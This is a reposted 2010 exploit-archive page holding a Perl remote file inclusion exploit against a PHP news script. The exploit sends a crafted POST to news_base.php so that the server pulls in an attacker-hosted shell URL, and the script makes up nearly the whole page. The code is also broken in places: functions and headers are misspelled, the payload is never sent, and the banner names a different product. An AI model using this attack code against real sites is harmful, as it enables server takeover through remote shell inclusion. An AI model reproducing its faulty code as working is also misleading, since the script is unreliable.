Home / os / win7

mini CMS / News Script Light 1.0 Remote File Include Exploit

Posted on 26 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>mini CMS / News Script Light 1.0 Remote File Include Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================
mini CMS / News Script Light 1.0 Remote File Include Exploit
============================================================

                ########################################################
                #                                                      #
                #          HINNENDAHL.COM Gaestebuch 1.2               #
                #                                                      #
                #       Remote File Inclusion Vulnerability            #
                #                                                      #
                #                 by bd0rk || SOH-Crew                 #                                     #                                                      #
                #                  www.soh-crew.it.tt                  #
                #                                                      #
                #            Contact: bd0rk[at]hackermail.com          #
                #                                                      #
                ########################################################

#!/usr/bin/perl
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# mini CMS / News Script Light 1.0 Remote File Include Exploit
#
# Bug found and exploit written by bd0rk || SOH-Crew
#
# Vendor: http://www.hinnendahl.com/
#
# Downloadsite: http://www.hinnendahl.com/index.php?seite=download
#
# Description: The script_pfad parameter in news_base.php isn't declared before require
#
# Contact: bd0rk[at]hackermail.com
# Website: www.soh-crew.it.tt
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
use Getopt::Long;
 
use URI::Escape;
 
use IO::Socket;
 
$shellcode = &quot;http://yourshellsite.com&quot;;
 
main();
 
sub usage
{
 
print &quot;mini CMS / News Script Lite 1.0 Remote File Include Exploit
&quot;;
print &quot;Bug found and Exploit written by bd0rk
&quot;;
print &quot;-1, --target	target	(yourhost.com)
&quot;;
print &quot;-2, --shellpath	shell	(http://yourshellsite.com)
&quot;;
print &quot;-3, --dir	Directory	(/news_system)
&quot;;
exit;
 
}
 
sub main
{
 
GetOptions ('1|target=s' =&gt; $target, '2|shellpath=s' =&gt; $shellpath,'3|dir=s' =&gt; $dir);
usage() unless $target;
$shellcode = $shellpath unless !$shellpath;
$targethost = uri_escape($shellcode);
 
$socket = IO::Socket::INET-&gt;new(Proto=&gt;&quot;tcp&quot;,PeerAddr=&gt;&quot;$target&quot;,PeerPort=&gt;&quot;80&quot;) or die &quot;
Connection() Failed.
&quot;;
 
print &quot;
Connected to &quot;.$target.&quot;, Attacking host...
&quot;;
$bd0rk = &quot;inst=true&amp;ins_file=&quot;.$target.&quot;&quot;;
$soh = lenght($bd0rk);
 
print $socket &quot;POST &quot;.$dir.&quot;/news_system/news_base.php?script_pfad= HTTP/1.1
&quot;;
print $socket &quot;Target: &quot;.$target.&quot;
&quot;;
print $socket &quot;Connection: close
&quot;;
print $socket &quot;Content-Type: application/x-www-form-urlencoded
&quot;;
print $socket &quot;Content-Lenght: &quot;.$soh.&quot;

&quot;;
print $socket $soh;
print &quot;Server-Response:

&quot;;
{
 
print &quot; &quot;.$recvd.&quot;&quot;;
}
 
exit;
 
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-26]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :